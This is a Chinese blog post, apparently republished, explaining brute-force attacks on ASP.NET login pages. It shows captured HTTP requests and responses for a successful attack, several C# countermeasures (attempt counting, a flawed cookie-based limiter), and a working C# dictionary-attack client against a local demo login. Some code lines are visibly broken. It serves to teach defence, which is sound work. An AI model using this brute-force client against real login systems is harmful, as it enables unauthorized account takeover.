原理
爆破是对系统的登录入口发起不间断的请求,达到暴力破解的目的。
实际案例
某系统存在爆破攻击点,只要模拟以下攻击,就能采用字典破解法,根据分析发现,只要返回状态为302的,为用户名密码正确,也就是被爆破了,状态为200的,为用户名密码错误。
在攻击的过程中,我们只要准备好字典,就能顺利实现爆破。像用户名为luminji,密码为123456这样的用户很容易就会被爆破掉。
请求:
POST /sso/ValidateUser.aspx HTTP/1.1
User-Agent: Fiddler
Accept-Language: zh-CN
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: 192.168.40.193
Content-Length: 37
loginId=luminji&password=123456
以下是成功爆破的返回:
HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 151
Content-Type: text/html; charset=utf-8
Location: http://192.168.40.193/portal/pages
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=spycdd55b1cph0iohogufq55; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Mon, 07 May 2012 01:25:50 GMT
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://192.168.40.193/portal/pages">here</a>.</h2>
</body></html>
以下是失败的返回:
HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=zxomk255e3115245tpqi3k45; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Mon, 07 May 2012 01:26:01 GMT
8a0
_�_
应对措施
一种思路是:定位客户端,限制客户端的请求频率。一般来说,通过两个途径可确定某个客户端,IP地址和Cookie。但是,这种方式一般来说也是被攻破的,比如使用AccessDriver这样的工具就可以更换IP地址,同时,再清空cookie就可以做到。
其次,使用验证码。这是一种非常有效的措施,但是一定程度上降低了用户体验。
Mads Kristensen提到了另一种方法是限制每个用户的登录次数,代码如下:
protected void ButtonLogin_Click(object sender, EventArgs e)
{
string loginName = "luminji";
if (AddAndGetLoginCount(loginName) > 5)
{
//block
}
else
{
if (CheckLogin(loginName) == true)
{
ClearLoginCount(loginName);
}
}
}
//只适用于单机,如果是集群,需要分布式缓存
int AddAndGetLoginCount(string userNanme)
{
if (Cache[userNanme] == null)
{
Cache.Insert("luminji", 1, null,
System.Web.Caching.Cache.NoAbsoluteExpiration, TimeSpan.FromSeconds(10));
return 1;
}
else
{
int count = (int)Cache[userNanme] + 1;
Cache[userNanme] = count;
return count;
}
}
void ClearLoginCount(string userName)
{
if (Cache[userName] != null)
{
Cache.Remove(userName);
}
}
private bool CheckLogin(string loginName)
{
throw new NotImplementedException();
}
这里还有一种方法,它看上去是正确的,但是有人一眼就看出来在其貌似能正确防范爆破下的本质错误,不知道你是否能察觉。这段代码的大致思路是:
将访问次数保存在cookie中,然后根据cookie保存的值来限制访问次序。保存在cookie中的值(该值所表达的意义是:谁在某个时间段内访问了几次),需要进行加密处理,只有这样,才能保证不让客户端进行模拟。全部代码实现,请参看代码:
protected void ButtonLogin_Click(object sender, EventArgs e)
{
HttpCookie cookieGet = Request.Cookies.Get("btcookie");
if (cookieGet == null)
{
SendBFCookieToClientAndRedirect();
}
else//www.it165.net
{
ReceiveBFCookieAndCheckLogin(cookieGet);
}
}
private void ReceiveBFCookieAndCheckLogin(HttpCookie cookieGet)
{
string loginName = "luminji";
BruteForce bf = PreAnalyCookieGet(cookieGet);
if (DateTime.Parse(bf.ExpireTime) > DateTime.Now)
{
if (int.Parse(bf.LoginCount) > 5)
{
Block();
}
else
{
GoAndCheckAndUpdateCount(cookieGet, loginName, bf);
}
}
else
{
GoAndCheckAndUpdateExpiretime(cookieGet, loginName);
}
}
private BruteForce PreAnalyCookieGet(HttpCookie cookieGet)
{
Response.Write(string.Format("get{0}<br/>", Session.SessionID));
Response.Write(string.Format("get Cookie:{0}<br/>", cookieGet.Value));
Response.Write(string.Format("Now:{0}", DateTime.Now));
var bfarr = cookieGet.Value.Split('|');
return new BruteForce(bfarr[0], bfarr[1], bfarr[2]);
}
private void GoAndCheckAndUpdateCount(HttpCookie cookieGet, string loginName, BruteForce bf)
{
CheckLogin(loginName);
cookieGet.Value = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}",
int.Parse(bf.LoginCount) + 1,
Session.SessionID,
bf.ExpireTime));
Response.Cookies.Add(cookieGet);
}
private void Block()
{
Response.Write("block");
}
private void GoAndCheckAndUpdateExpiretime(HttpCookie cookieGet, string loginName)
{
CheckLogin(loginName);
cookieGet.Value = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}",
,
Session.SessionID,
DateTime.Now.AddSeconds(10)));
Response.Cookies.Add(cookieGet);
}
private void SendBFCookieToClientAndRedirect()
{
Response.Write(string.Format("set{0}<br/>", Session.SessionID));
string str = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}",
,
Session.SessionID,
DateTime.Now.AddSeconds(10)));
Session["btcookiesession"] = str;
HttpCookie cookieSet = new HttpCookie("btcookie", str);
cookieSet.HttpOnly = true;
Response.Cookies.Add(cookieSet);
//Redirect To real login page
}
private string EncryptBruteForceCookie(string cookie)
{
//encrypt cookie
return cookie;
}
private string DecrpytBruteForceCooke(string cookie)
{
//encrypt cookie
return cookie;
}
class BruteForce
{
public BruteForce(string loginCount, string sessionID, string expireTime)
{
LoginCount = loginCount;
SessionID = sessionID;
ExpireTime = expireTime;
}
public string LoginCount;
public string SessionID;
public string ExpireTime;
}
爆破的实施
假设要爆破的登录处的逻辑如下:
protected void btnLogin_Click(object sender, EventArgs e)
{
if (this.txtUserName.Text == "xjm" &&
this.txtUserPassword.Text == "123")
{
//this.Session["UserName"] = this.txtUserName.Text;
Response.Redirect("Home.aspx");
}
else
{
Response.Write("login denied!");//www.it165.net
}
}
PS:一般来说,爆破就是模拟发送请求,C#代码如下:
string httpBase = @"http://localhost:50097";
List<string> keyDict = new List<string>()
{
"1",
"12",
"123",
"a",
"ab"
};
private void button2_Click(object sender, EventArgs e)
{
bool isOk = false;
foreach (string key in keyDict)
{
var request = InitRequest();
SetRequestContent(request, key);
if (isOk = GetResponseAndLoginSuccess(request))
{
break;
}
}
if (isOk)
{
MessageBox.Show("login success.");
}
else
{
MessageBox.Show("failed!");
}
}
private void SetRequestContent(WebRequest request, string key)
{
//todo 1:should get login.aspx first, and get the viewstat
// 2:then we can build this content
string content = string.Format("__VIEWSTATE=%2FwEPDwULLTE1MzQ2NDY3MzVkZApspc7%2FtLNG1qzHEYJFvpuzy5P8&__EVENTVALIDATION=%2FwEWBAK7qPiwDQKl1bKzCQK9wKW7DAKC3IeGDBjXR%2FPy4G7lFRtaemefnygkRltT&txtUserName=xjm&txtUserPassword={0}&btnLogin=Button",
key);
request.ContentLength = content.Length;
byte[] bytes = Encoding.UTF8.GetBytes(content);
using (Stream requestStream = request.GetRequestStream())
{
requestStream.Write(bytes, 0, bytes.Length);
requestStream.Flush();
}
}
private bool GetResponseAndLoginSuccess(WebRequest request)
{
var response = request.GetResponse();
using (Stream stream = response.GetResponseStream())
using (StreamReader reader = new StreamReader(stream))
{
if (response.ResponseUri.ToString().IndexOf(httpBase+ @"/Home.aspx") > -1)
{
var context = reader.ReadToEnd();
context += "<br/>hacked by luminji!";
webBrowser1.DocumentText = context;
return true;
}
}
return false;
}
private WebRequest InitRequest()
{
string url = httpBase + @"/login.aspx";
var request = HttpWebRequest.Create(url);
request.ContentType = "application/x-www-form-urlencoded";
request.Method = "POST";
return request;
}
摘自:http://www.cnblogs.com/luminji/